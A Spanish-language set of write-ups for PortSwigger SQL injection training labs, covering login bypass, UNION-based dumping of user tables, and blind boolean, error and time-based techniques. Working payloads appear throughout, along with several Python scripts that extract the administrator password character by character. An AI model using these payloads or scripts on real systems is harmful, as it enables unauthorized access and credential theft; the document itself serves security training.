# SQL Injection ## Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data ### Enunciado Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente: ```sql SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` Para resolver el laboratorio, realiza un ataque de inyección SQL que provoque que la aplicación muestre uno o más productos **no publicados**. ### Resolución Al capturar la petición vemos que hay un error que no se contempla ya que si ponemos una comilla simple detrás de **Gifts** comentamos el resto de la sentencia. ``` SELECT * FROM products WHERE category = 'Gifts'' AND released = 1 ``` Sabiendo esto hacemos la búsqueda: ```bash ?category=Gifts'-- ``` Podemos observar como salen 4 elementos cuando salían 3 anteriormente.
Podemos ver que hay una inyección por lo que realizamos esta sentencia. ``` SELECT * FROM products WHERE category = 'Gifts' AND 1=1--' AND released = 1 ``` Lo añadimos en la búsqueda y vemos que es vulnerable el parámetro **categories**. Volviendo al enunciado realizamos esta sentencia para resolverlo. ``` SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 ``` Lo ponemos en la búsqueda. ``` ?category=Gifts' OR 1=1--' ```
## Lab: SQL injection vulnerability allowing login bypass ### Enunciado Este laboratorio contiene una vulnerabilidad de inyección SQL en la función de inicio de sesión. Para resolver el laboratorio, realiza un ataque de inyección SQL que inicie sesión en la aplicación como el usuario **administrador**. ### Resolución Lo primero que probamos que el usuario no es la misma contraseña. La consulta sería: ``` SELECT * FROM usuarios WHERE username='administrator' AND contraseña= 'administrator' ``` Pero no sabemos la contraseña. Como dijimos anteriormente si metemos una comilla simple en el campo de **password** comprobamos que es vulnerable. ``` SELECT * FROM usuarios WHERE username='administrator' AND contraseña= '' OR 1=1--' ``` Por lo tanto insertamos eso en el login.
## Lab: SQL injection attack, querying the database type and version on Oracle ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Puedes usar un ataque **UNION** para recuperar los resultados de una consulta inyectada. ### Resolución Mandamos a **Repeater** la petición cuando filtras por categoría. Primero vemos si es vulnerable.
Vale si es vulnerable entonces vamos a ver cuántas columnas hay. Al probar vemos que hay 2 columnas.
Sabiendo esto tenemos que saber en qué columna está la versión. También como está en otra consulta distinta usamos UNION.
Vemos que hemos insertado de manera correcta. Viendo el cheatsheet de PortSwigger nos dice donde se encuentra.
Sabiendo esto hacemos la consulta siguiente.
## Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Puedes usar un **ataque UNION** para recuperar los resultados de una consulta inyectada. **Mostrar la cadena de versión de la base de datos.** ### Resolución Hacemos lo mismo que al principio del anterior, es decir, tenemos que ver cuántas columnas hay disponibles.
Ya sabemos que hay dos columnas, ahora vamos a ver si se pueden almacenar texto.
Sí se puede ya que devuelven string así que vamos a sacar la versión a través de SELECT.
## Lab: SQL injection attack, listing the database contents on non-Oracle databases ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas. La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena **nombres de usuario y contraseñas**. Debes: 1. Determinar el **nombre de esa tabla** y los **campos (columnas)** que contiene. 2. Recuperar el contenido de la tabla para obtener los **nombres de usuario y contraseñas**. 3. Iniciar sesión como el usuario **administrador**. **Iniciar sesión como el usuario administrador** para resolver el laboratorio. ### Resolución Como en los anteriores laboratorios vemos cuántas columnas hay.
Vemos que tenemos 2 columnas por lo que ahora vamos a mirar si aceptan cadenas de texto.
Ahora tenemos que extraer las tablas ya que tenemos que conseguir las credenciales. Tenemos que darnos cuenta que es una base de datos No-Oracle.
Podemos ver que se nos muestra las siguientes tablas. Nos interesan las de usuarios.
Hacemos la consulta sabiendo el nombre de la tabla queremos saber las columnas.
Tenemos el nombre de las columnas tanto los usuarios, contraseñas y contraseñas por lo que realizamos la consulta. 
'+UNION+SELECT+username_oybnyq,+password_mtteee+FROM+users_zvzlug--
Tenemos las credenciales y nos logueamos.
## Lab: SQL injection attack, listing the database contents on Oracle ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas. La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena **nombres de usuario y contraseñas**. Debes: 1. **Determinar el nombre de la tabla** que contiene estas credenciales. 2. **Identificar las columnas** relevantes (como `username` y `password`). 3. **Extraer los datos de esa tabla** usando UNION SELECT. 4. **Iniciar sesión como el usuario administrador** para resolver el laboratorio. ### Resolución Miramos como siempre cuantas columnas hay como podemos ver es una base de datos Oracle por lo que hay que tenerlo en cuenta.
Sabiendo esto sabemos que hay al menos 2 columnas. Vamos a ver si se almacenan cadenas de texto.
Sí se almacenan cadenas de texto y sabiendo esto extraemos el nombre de las tablas para la base de datos de Oracle.
Como podemos ver hemos conseguido extraerlas pero claramente nos interesa la de usuarios.
Sabiendo esto realizamos la consulta a esta tabla para saber las columnas.
Tenemos el nombre de las columnas para realizar la consulta y saber las credenciales.
Conseguimos las credenciales ya nos podemos loguear.
## Lab: SQL injection UNION attack, finding a column containing text ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas. Para construir este tipo de ataque, primero debes **determinar el número de columnas** que devuelve la consulta. Puedes hacerlo usando una técnica aprendida en un laboratorio anterior (por ejemplo, usando `ORDER BY` o probando combinaciones de columnas en el `UNION`). El siguiente paso es **identificar qué columnas son compatibles con datos de tipo cadena (string)**. El laboratorio proporcionará un **valor aleatorio** que debes hacer aparecer en los resultados de la consulta. Realizar un **ataque UNION SQL** que **devuelva una fila adicional con el valor proporcionado**, lo que te ayudará a identificar **qué columnas aceptan datos tipo string**. ### Resolución Primero de todo vemos que contiene 3 columnas.
Seguimos viendo que columnas acpetan cadenas de texto.
Vemos que en la página principal nos da una cadena de texto por lo que la ponemos en la consulta.
## Lab: SQL injection UNION attack, retrieving data from other tables ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas. Para construir este ataque, deberás **combinar varias técnicas** que aprendiste en laboratorios anteriores. La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**. Realizar un **ataque de inyección SQL con UNION** para recuperar **todos los nombres de usuario y contraseñas**, y usar esa información para **iniciar sesión como el usuario administrador**. ### Resolución Vamos a ver cuántas columnas hay.
Vemos que tenemos 2 columnas por lo que ahora toca ver si aceptan cadenas texto.
Como podemos si acepta así que suponemos que tiene dos columnas de usuarios y contraseñas.
Hemos conseguido las credenciales así que ya nos podemos loguear.
## Lab: SQL injection UNION attack, retrieving multiple values in a single column ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL** en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes usar un **ataque UNION** para recuperar datos de otras tablas. La base de datos contiene una tabla llamada **`users`**, con las columnas **`username`** y **`password`**. Realizar un **ataque de inyección SQL con UNION** que recupere **todos los nombres de usuario y contraseñas**, y usar esa información para **iniciar sesión como el usuario `administrator`**. ### Resolución Vemos cuántas columnas tiene.
Como podemos observar son 2 columnas, tras esto vemos si aceptan cadenas texto.
La segunda columna es la que sí acepta cadena de texto pero claro la información estará junta por lo que vamos a separarla.
Ya hemos conseguido las credenciales, vamos a loguearnos.
## Lab: Blind SQL injection with conditional responses ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL ciega (blind SQL injection)**. La aplicación usa una **cookie de seguimiento** para análisis, y realiza una consulta SQL que incluye el valor de esa cookie. Los resultados de la consulta **no se devuelven directamente** y **no se muestran mensajes de error**. Sin embargo, la aplicación **muestra un mensaje de "Welcome back" en la página si la consulta devuelve alguna fila**. La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**. **Explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario `administrator`, e iniciar sesión como dicho usuario.** ### Resolución A diferencia de los laboratorios anteriores la vulnerabilidad está en **TrackingID**. Lo sabemos porque no nos sale el **Welcome Back**.
Sabiendo esto vamos a comprobar si existe la tabla users.
Como vemos sí que existe la tabla users. Vamos a ver si el usuario administrador está en users.
Sí está en la tabla de usuarios por lo que vamos a ver su contraseña. Primero debemos saber la longitud de la contraseña.
Ya sabemos que la contraseña tiene longitud mayor que 1 por lo que vamos a ver cuánta longitud.
Vamos a comprobar los caracteres que tiene la contraseña yendo al **Intruder.**
Iría caracter a caracter y sabemos que la primera es una **e**. Mejor script en Python para hacerlo 20 veces o Cluster bomb.
Este sería el script de Python. ``` import requests import string import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = 'https://0a41005d03114836802e3037006f00e1.web-security-academy.net/' # Pon aquí la URL de la página objetivo payload = "' AND (SELECT SUBSTRING(password, {}, 1) FROM users WHERE username='administrator')='{}'--" characters = string.printable password = '' for i in range(1, 21): for char in characters: cookie = {'TrackingId': 'GZJbtWWgdaT32Y4D' + payload.format(i, char)} response = requests.get(url, cookies=cookie, verify=False) if "Welcome" in response.text: password += char print(f"[+] Carácter encontrado: {char} - Contraseña parcial: {password}") break print(f"\n[+] Contraseña completa encontrada: {password}") ```
Nos logueamos con las credenciales.
## Lab 12: Blind SQL injection with conditional errors ### Enunciado Este laboratorio contiene una **vulnerabilidad de inyección SQL ciega (blind SQL injection)**. La aplicación utiliza una **cookie de seguimiento** para análisis y realiza una consulta SQL que incluye el valor de esa cookie. Los resultados de la consulta **no se devuelven**, y **la aplicación no responde de forma diferente según si la consulta devuelve filas o no**. Sin embargo, **si la consulta provoca un error, la aplicación muestra un mensaje de error personalizado**. La base de datos contiene una tabla llamada **`users`** con las columnas **`username`** y **`password`**. **Explotar la vulnerabilidad de inyección SQL ciega basada en errores para averiguar la contraseña del usuario `administrator`, e iniciar sesión como ese usuario.** ### Resolución Vemos dónde tenemos la vulnerabilidad añadiendo la comilla al **TrackingID** y recargando la página forzamos el error.
Estamos frente a una base de datos Oracle.
Ahora vamos a confirmar si hay una tabla de usuarios.
Como la hay vamos a ver si está el usuario en esa tabla. Si nos da error es que existe ya que estamos realizando la consulta al revés.
Confirmamos que hay un administrator como usuario. Toca conseguir la contraseña del usuario. Primero los caracteres.
Miramos 30 caracteres.
Vamos al **Intruder** para ver cuántos caracteres exactamente tiene la contraseña.
Vemos que tiene 20 caracteres tal como paso en el anterior podemos hacer Cluster Bomb o un script en Python para aligerar y hacerlo más automático hago el script.
``` #!/usr/bin/env python3 import requests from string import ascii_lowercase, digits def main(): url = 'https://0aa2009404cb485d801e26cc00f80097.web-security-academy.net/' trackingid = 'APnrWlyEfL4OH51h' chars = ascii_lowercase + digits position = 1 password = '' try: while True: for character in chars: payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{position},1)='{character}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'""" cookie = { 'session': 'YOUR_SESSIONID', 'TrackingId': payload } r = requests.get(url, cookies=cookie) if r.status_code == 200: # print('Error occurred') continue else: # print('No error') position += 1 password += ''.join(character) print(f'[+] Found password: {password}', end='\r') break if len(password) >= 20: print(f'[+] administrator password: {password}') exit() except KeyboardInterrupt: print('\n[*] Bye!') if __name__ == '__main__': main() ``` {% hint style="info" %} Este script se ha cogido de esta resolución {% endhint %}
Nos logueamos.
## Lab: Visible error-based SQL injection ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL.** La aplicación usa una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en esa cookie. **Los resultados de la consulta no se devuelven** al usuario. La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**. **Para resolver el laboratorio, debes encontrar una forma de filtrar (leak) la contraseña del usuario `administrator`, y luego iniciar sesión en su cuenta.** ### Resolución Vemos la vulnerabilidad que en este caso sigue siendo el **TrackingID** añadiendo una comilla.
El error que se nos muestra es muy llamativo ya que nos dice que el valor de la cookie se inyecta en la consulta. Hacemos pequeña modificación para que no nos salga ese error.
Vamos a ver con el siguiente payload la estructura de la consulta.
Nos da error vamos a cambiarla a hacer una expresión booleana.
Con esto demostramos que podemos inyectar sin romper la consulta. vamos a ver si extraemos datos de usuarios.
Nos da un error nuevo por lo que vamos a cambiarlo y limitamos la consulta.
Vemos que existe el usuario por lo que nos falta extraer la contraseña.
Se nos muestra otro error que delata la contraseña por lo que nos logueamos con las credenciales.
## Lab: Blind SQL injection with time delays ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL ciega (blind SQL injection).** La aplicación utiliza una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en dicha cookie. **Los resultados de la consulta no se devuelven**, y la aplicación **no responde de forma diferente** dependiendo de si la consulta devuelve filas o provoca un error. Sin embargo, dado que la consulta se ejecuta de forma **sincrónica**, es posible **provocar retrasos condicionales en la ejecución** para inferir información. ### Resolución Vamos a ver qué tipo de base de datos es.
Es base de datos PostgreSQL.
## Lab: Blind SQL injection with time delays and information retrieval ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL ciega (blind SQL injection).** La aplicación utiliza una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en esa cookie. **Los resultados de la consulta no se devuelven**, y la aplicación **no responde de manera diferente** según si la consulta devuelve filas o produce un error. Sin embargo, dado que la consulta se ejecuta de forma **sincrónica**, es posible **provocar retrasos condicionales en la ejecución** para inferir información. La base de datos contiene una tabla llamada **`users`**, con columnas **`username`** y **`password`**. **Explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario `administrator`, e iniciar sesión en su cuenta.** ### Resolución Vamos a ver qué base de datos es.
Sabiendo esto miramos el siguiente payload.
Vamos a dormir la base de datos si existe el usuario en la tabla users.
Como tarda 10 segundos sí existe el usuario. Ahora toca ver su contraseña.
Observamos que tarda 10 segundos por lo que la contraseña tiene 20 caracteres.
Como en los laboratorios anteriores se podría construir la contraseña en Cluster Bomb o de manera automática en Python. ``` import requests import string import urllib.parse import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = 'https://0a0b008504a1eb638154611b005c00f9.web-security-academy.net/' payload = "'||(select case when (username='administrator' and substring(password,{},1)='{}') then pg_sleep(10) else pg_sleep(2) end from users)--" characters = string.printable password = '' for i in range(1, 21): for char in characters: cookie = {'TrackingId': 'TIHGzblAUd3dagoi' + payload.format(i, char)} r = requests.get(url, cookies=cookie, verify=False) if int(r.elapsed.total_seconds()) > 9: password += char break print("[x] La contraseña es: {}".format(password)) ```
## Lab: Blind SQL injection with out-of-band interaction ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL ciega.** La aplicación utiliza una cookie de seguimiento (*tracking cookie*) para análisis, y ejecuta una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma **asíncrona** y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puedes provocar interacciones *out-of-band* (fuera de banda) con un dominio externo. **Para resolver el laboratorio**, explota la vulnerabilidad de inyección SQL para causar una consulta DNS (DNS lookup) hacia un dominio de Burp Collaborator. ### Resolución Miramos en el cheatsheet como sería la consulta a realizar. {% hint style="info" %} Ester laboratorio se hace con BurpSuite Professional {% endhint %}
Generamos 1 payload en **Collaborator** y lo copiamos en la consulta.
Vemos como en la ventana de **Collaborator** al enviarlo se ven las DNS y así completamos el laboratorio.
## Lab: Blind SQL injection with out-of-band data exfiltration ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL ciega.** La aplicación utiliza una cookie de seguimiento (*tracking cookie*) para fines de análisis y ejecuta una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma **asíncrona** y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puedes provocar interacciones *out-of-band* (fuera de banda) con un dominio externo. La base de datos contiene una tabla diferente llamada **users**, con columnas llamadas **username** y **password**. Debes explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario **administrator**. **Para resolver el laboratorio, inicia sesión como el usuario administrator.** ### Resolución Interceptamos y realizamos la consulta correspondiente a Oracle con el payload generado en **Collaborator**. {% hint style="info" %} Este laboratorio se hace con BurpSuite Professional {% endhint %}
Vemos que antes del punto es la contraseña correspondiente al usuario y al logueanos con dichas credenciales completamos el laboratorio.
## Lab: SQL injection with filter bypass via XML encoding ### Enunciado **Este laboratorio contiene una vulnerabilidad de inyección SQL en su funcionalidad de verificación de stock.** Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes utilizar un ataque **UNION** para recuperar datos de otras tablas. La base de datos contiene una tabla **users**, que almacena los nombres de usuario y contraseñas de los usuarios registrados. **Para resolver el laboratorio, realiza un ataque de inyección SQL para obtener las credenciales del usuario admin y luego inicia sesión en su cuenta.** ### Resolución La vulnerabilidad está en el stock del producto.
Las consultas básicas maliciosas las detecta como ataques.
Probamos a ponerlas hexadecimal. > Hay una extensión llamada HackVector
Ya no nos sale lo del ataque así que vamos a ver cuántas columnas tiene.
Cuando queremos saber s hay más de una columna nos sale que no hay unidades. Hacemos un script de Python para automatizar eso. ``` #!/usr/bin/python3 import requests def main(): url = 'https://0a4300460442812480ea1c8e008e0015.web-security-academy.net/product/stock' cookie = { 'session': 'Ekz8u97zV5O9DK8grBFoVxJpUzL3DuaH' } header = { 'Content-Type': 'application/xml' } # UNION SELECT NULL payload = 'UNION SELECT NULL' xml = f''' 1 1 {payload} ''' print(requests.post(url, cookies=cookie, headers=header, data=xml).text) if __name__ == '__main__': main() ```
Cambio el payload para ver si acepta la columna cadena de texto. ``` # UNION SELECT 'string' payload = 'UNION SELECT 'string'' ```
Sí acepta cadenas de texto por lo que vemos qué base de datos usa. ``` # UNION SELECT version() payload = 'UNION SELECT version()' ```
Sabiendo eso vemos la consulta para ver si tiene una tabla usuarios. ``` # UNION SELECT table_name FROM information_schema.tables payload = 'UNION SELECT table_name FROM information_schema.tables' ```
Vamos a ver las columnas de la tabla. ``` # UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' payload = 'UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'' ```
Extraemos toda la información. ``` # UNION SELECT username||':'||password FROM users payload = 'UNION SELECT username||':'||password FROM users' ```
Nos logueamos.